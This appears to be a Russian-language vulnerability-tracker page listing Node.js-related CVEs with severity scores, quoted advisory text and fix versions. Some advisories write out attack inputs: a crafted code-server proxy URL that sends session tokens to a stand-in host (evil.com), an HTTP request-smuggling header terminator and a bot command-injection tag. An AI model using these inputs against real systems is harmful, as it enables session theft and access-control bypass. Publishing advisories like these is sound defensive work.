p PatchFirst

PatchFirst · Свежие уязвимости

Node.js: уязвимости стека · Страница 196

За последние 30 дней в Node.js опубликовано уязвимостей: 293; в каталоге KEV: 0.

Фильтры уязвимостей
Node.js

Ранние предупреждения

Свежие сообщения об уязвимостях из анонсов разработчиков и новостей безопасности. Предупреждения не меняют рейтинг защищённости.

  1. node.js

    Исправление пока не указано

    Node.js: удалённое выполнение кода

    По данным OpenNet, в Node.js найдена уязвимость — удалённое выполнение кода (CVE-2026-111497). Точные затронутые версии не указаны. Версия с исправлением в сообщении не указана.

    Что сделать сейчас: Проверьте, вышло ли обновление Node.js с исправлением, и установите его.

    CVE-2026-111497

  2. node.js

    Исправление пока не указано

    Node.js: отказ в обслуживании

    По данным GitHub Advisory Database, в Node.js найдена уязвимость — отказ в обслуживании (CVE-2026-109932). Точные затронутые версии не указаны. Версия с исправлением в сообщении не указана.

    Что сделать сейчас: Проверьте, вышло ли обновление Node.js с исправлением, и установите его.

    CVE-2026-109932

Уязвимостей: 7803

  1. CVE-2025-23166

    Высокий · CVSS 7.5EPSS 0,82%Есть исправление

    CVE-2025-23166

    The C++ method SignTraits::DeriveBits() may incorrectly call ThrowException() based on user-supplied inputs when executing in a background thread, crashing the Node.js process. Such cryptographic operations are commonly applied to untrusted inputs. Thus, this mechanism potentially allows an adversary to remotely crash a Node.js runtime.

    • Обновитесь до 18.20.4+dfsg-1~deb12u2
    • Обновитесь до 20.19.2+dfsg-1
    Опубликовано Обновлено
  2. CVE-2025-23167

    Средний · CVSS 6.5EPSS 0,51%Есть исправление

    CVE-2025-23167

    A flaw in Node.js 20's HTTP parser allows improper termination of HTTP/1 headers using `\r\n\rX` instead of the required `\r\n\r\n`. This inconsistency enables request smuggling, allowing attackers to bypass proxy-based access controls and submit unauthorized requests. The issue was resolved by upgrading `llhttp` to version 9, which enforces correct header termination. Impact: * This vulnerability affects only Node.js 20.x users prior to the `llhttp` v9 upgrade.

    • Обновитесь до 7.15.0+dfsg+~cs3.2.0-1
    Опубликовано Обновлено
  3. CVE-2025-47948

    Высокий · CVSS 7.2EPSS 0,41%Есть исправление

    Cocotais Bot has builtin .echo command injection

    Cocotais Bot is a QQ official robot framework based on qq-bot-sdk. Starting in version 1.5.0-test2-hotfix and prior to version 1.6.2, command echoing feature in the framework allows users to indirectly trigger privileged behavior by injecting special platform tags. Specifically, an unauthorized user can use the `/echo <qqbot-at-everyone />` command to cause the bot to send a message that mentions all members in the chat, bypassing any permission controls. This can lead to spam, disruption, or abuse of notification systems. Version 1.6.2 contains a patch for the issue.

    • Обновитесь до 1.6.2
  4. CVE-2025-4759

    Средний · CVSS 6.9EPSS 0,44%Есть исправление

    CVE-2025-4759

    Versions of the package lockfile-lint-api before 5.9.2 are vulnerable to Incorrect Behavior Order: Early Validation via the resolved attribute of the package URL validation which can be bypassed by extending the package name allowing an attacker to install other npm packages than the intended one.

    • Обновитесь до 5.9.2
  5. CVE-2025-4727

    Средний · CVSS 6.3EPSS 0,92%Нет опубликованного исправления

    Meteor livedata_server.js Object.assign redos

    A vulnerability was found in Meteor up to 3.2.1 and classified as problematic. This issue affects the function Object.assign of the file packages/ddp-server/livedata_server.js. The manipulation of the argument forwardedFor leads to inefficient regular expression complexity. The attack may be initiated remotely. The complexity of an attack is rather high. The exploitation is known to be difficult. The exploit has been disclosed to the public and may be used. Upgrading to version 3.2.2 is able to address this issue. The identifier of the patch is f7ea6817b90952baaea9baace2a3b4366fee6a63. It is recommended to upgrade the affected component.

  6. CVE-2025-47279

    Низкий · CVSS 3.1EPSS 0,34%Есть исправление

    undici Denial of Service attack via bad certificate data

    Undici is an HTTP/1.1 client for Node.js. Prior to versions 5.29.0, 6.21.2, and 7.5.0, applications that use undici to implement a webhook-like system are vulnerable. If the attacker set up a server with an invalid certificate, and they can force the application to call the webhook repeatedly, then they can cause a memory leak. This has been patched in versions 5.29.0, 6.21.2, and 7.5.0. As a workaound, avoid calling a webhook repeatedly if the webhook fails.

    • Обновитесь до 5.29.0
    • Обновитесь до 6.21.2
    • Обновитесь до 7.24.5+dfsg+~cs3.2.0-1
    • Обновитесь до 7.5.0
  7. CVE-2025-1647

    Средний · CVSS 5.6EPSS 0,43%Есть исправление

    XSS in Bootstrap title attribute for Tooltip and Popover

    Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Bootstrap allows Cross-Site Scripting (XSS).This issue affects Bootstrap: from 3.4.1 before 4.0.0.

    • Обновитесь до 3.4.1+dfsg-3+deb12u2
    • Обновитесь до 3.4.1+dfsg-5
    • Обновитесь до 4.0.0
  8. CVE-2025-32421

    Низкий · CVSS 3.7EPSS 0,8%Публичный эксплойтЕсть исправление

    Next.js Race Condition to Cache Poisoning

    Next.js is a React framework for building full-stack web applications. Versions prior to 14.2.24 and 15.1.6 have a race-condition vulnerability. This issue only affects the Pages Router under certain misconfigurations, causing normal endpoints to serve `pageProps` data instead of standard HTML. This issue was patched in versions 15.1.6 and 14.2.24 by stripping the `x-now-route-matches` header from incoming requests. Applications hosted on Vercel's platform are not affected by this issue, as the platform does not cache responses based solely on `200 OK` status without explicit `cache-control` headers. Those who self-host Next.js deployments an

    • Обновитесь до 14.2.24
    • Обновитесь до 15.1.6
  9. CVE-2025-47204

    Средний · CVSS 6.1EPSS 0,44%Публичный эксплойтЕсть исправление

    CVE-2025-47204

    An issue was discovered in post.php in bootstrap-multiselect (aka Bootstrap Multiselect) 1.1.2. A PHP script in the source code echoes arbitrary POST data. If a developer adopts this structure wholesale in a live application, it could create a Reflective Cross-Site Scripting (XSS) vulnerability exploitable through Cross-Site Request Forgery (CSRF).

    • Обновитесь до 2.0.0
  10. CVE-2025-47269

    Высокий · CVSS 8.3EPSS 56,28%Есть исправление

    code-server session cookie can be extracted by having user visit specially crafted proxy URL

    code-server runs VS Code on any machine anywhere through browser access. Prior to version 4.99.4, a maliciously crafted URL using the proxy subpath can result in the attacker gaining access to the session token. Failure to properly validate the port for a proxy request can result in proxying to an arbitrary domain. The malicious URL `https://<code-server>/proxy/test@evil.com/path` would be proxied to `test@evil.com/path` where the attacker could exfiltrate a user's session token. Any user who runs code-server with the built-in proxy enabled and clicks on maliciously crafted links that go to their code-server instances with reference to /proxy

    • Обновитесь до 4.99.4
  11. CVE-2025-46812

    Низкий · CVSS 2EPSS 0,72%Есть исправление

    Trix vulnerable to Cross-site Scripting on copy & paste

    Trix is a what-you-see-is-what-you-get rich text editor for everyday writing. Versions prior to 2.1.15 are vulnerable to XSS attacks when pasting malicious code. An attacker could trick a user to copy and paste malicious code that would execute arbitrary JavaScript code within the context of the user's session, potentially leading to unauthorized actions being performed or sensitive information being disclosed. This issue has been patched in version 2.1.15.

    • Обновитесь до 2.1.15
  12. CVE-2025-46573

    Высокий · CVSS 8.6EPSS 0,38%Есть исправление

    passport-wsfed-saml2 Has SAML Authentication Bypass via Attribute Smuggling

    passport-wsfed-saml2 provides passport strategy for both WS-fed and SAML2 protocol. A vulnerability present starting in version 3.0.5 up to and including version 4.6.3 allows an attacker to impersonate any user during SAML authentication by tampering with a valid SAML response. This can be done by adding attributes to the response. Users are affected specifically when the service provider is using `passport-wsfed-saml2` and a valid SAML Response signed by the Identity Provider can be obtained. Version 4.6.4 contains a fix for the vulnerability.

    • Обновитесь до 4.6.4
  13. CVE-2025-46572

    Критический · CVSS 9.3EPSS 0,43%Есть исправление

    passport-wsfed-saml2 Has SAML Authentication Bypass via Signature Wrapping

    passport-wsfed-saml2 provides passport strategy for both WS-fed and SAML2 protocol. A vulnerability present starting in version 3.0.5 up to and including version 4.6.3 allows an attacker to impersonate any user during SAML authentication by crafting a SAMLResponse. This can be done by using a valid SAML object that was signed by the configured IdP. Users are affected specifically when the service provider is using passport-wsfed-saml2 and a valid SAML document signed by the Identity Provider can be obtained. Version 4.6.4 contains a fix for the vulnerability.

    • Обновитесь до 4.6.4
  14. GHSA-jqx4-9gpq-rppm

    Средний · CVSS 5.3Есть исправление

    @misskey-dev/summaly allows IP Filter Bypass via Redirect

    ### Summary Due to a validation error in `got.scpaping`, it is possible to use an HTTP redirect to avoid IP filtering. ### Details In `got.scpaping`, Summaly first makes a HTTP `HEAD` request to the page being summarized. It then preforms private IP address checks on the `HEAD` response, then makes an additional HTTP `GET` request to the page being summarized. Unfortunately, since private IP address checks aren't performed on the `GET` response, the `GET` response can issue a HTTP redirect to a private IP address, which will succeed, regardless of if private IP addresses are allowed by Summaly. ### PoC With a simple Caddy webserver, you can

    • Обновитесь до 5.2.1
  15. CVE-2025-46720

    Низкий · CVSS 3.1EPSS 0,29%Есть исправление

    Keystone has an unintended `isFilterable` bypass that can be used as an oracle to match hidden fields

    Keystone is a content management system for Node.js. Prior to version 6.5.0, `{field}.isFilterable` access control can be bypassed in `update` and `delete` mutations by adding additional unique filters. These filters can be used as an oracle to probe the existence or value of otherwise unreadable fields. Specifically, when a mutation includes a `where` clause with multiple unique filters (e.g. `id` and `email`), Keystone will attempt to match records even if filtering by the latter fields would normally be rejected by `field.isFilterable` or `list.defaultIsFilterable`. This can allow malicious actors to infer the presence of a particular fiel

    • Обновитесь до 6.5.0
    Опубликовано Обновлено
  16. CVE-2025-46553

    Низкий · CVSS 2.1EPSS 0,26%Есть исправление

    @misskey-dev/summaly Redirect Filter Bypass

    @misskey-dev/summaly is a tool for getting a summary of a web page. Starting in version 3.0.1 and prior to version 5.2.1, a logic error in the main `summaly` function causes the `allowRedirects` option to never be passed to any plugins, and as a result, isn't enforced. Misskey will follow redirects, despite explicitly requesting not to. Version 5.2.1 contains a patch for the issue.

    • Обновитесь до 5.2.1
  17. CVE-2025-4318

    Критический · CVSS 9EPSS 0,99%Есть исправление

    Input validation issue in AWS Amplify Studio UI component properties

    The AWS Amplify Studio UI component property expressions in the aws-amplify/amplify-codegen-ui package lack input validation. This could potentially allow an authenticated user who has access to create or modify components to run arbitrary JavaScript code during the component rendering and build process.

    • Обновитесь до 2.20.3
  18. CVE-2025-46332

    Средний · CVSS 6.5EPSS 0,34%Есть исправление

    Information Disclosure via Flags override link

    Flags SDK is an open-source feature flags toolkit for Next.js and SvelteKit. Impacted versions include flags from 3.2.0 and prior and @vercel/flags from 3.1.1 and prior as certain circumstances allows a bad actor with detailed knowledge of the vulnerability to list all flags returned by the flags discovery endpoint (.well-known/vercel/flags). This vulnerability allows for information disclosure, where a bad actor could gain access to a list of all feature flags exposed through the flags discovery endpoint, including the flag names, flag descriptions, available options and their labels (e.g. true, false), and default flag values. This issue ha

    • Обновитесь до 4.0.0
  19. CVE-2025-46565

    Средний · CVSS 6EPSS 1,24%Публичный эксплойтЕсть исправление

    Vite's server.fs.deny bypassed with /. for files under project root

    Vite is a frontend tooling framework for javascript. Prior to versions 6.3.4, 6.2.7, 6.1.6, 5.4.19, and 4.5.14, the contents of files in the project root that are denied by a file matching pattern can be returned to the browser. Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected. Only files that are under project root and are denied by a file matching pattern can be bypassed. `server.fs.deny` can contain patterns matching against files (by default it includes .env, .env.*, *.{crt,pem} as such patterns). These patterns were able to bypass for files under `root` by using a c

    • Обновитесь до 4.5.14
    • Обновитесь до 5.4.19
    • Обновитесь до 6.1.6
    • Обновитесь до 6.2.7
    • Обновитесь до 6.3.4

Проверьте свой сервер

Сопоставьте установленный стек и версии со свежими базами уязвимостей.

Проверьте свой сервер →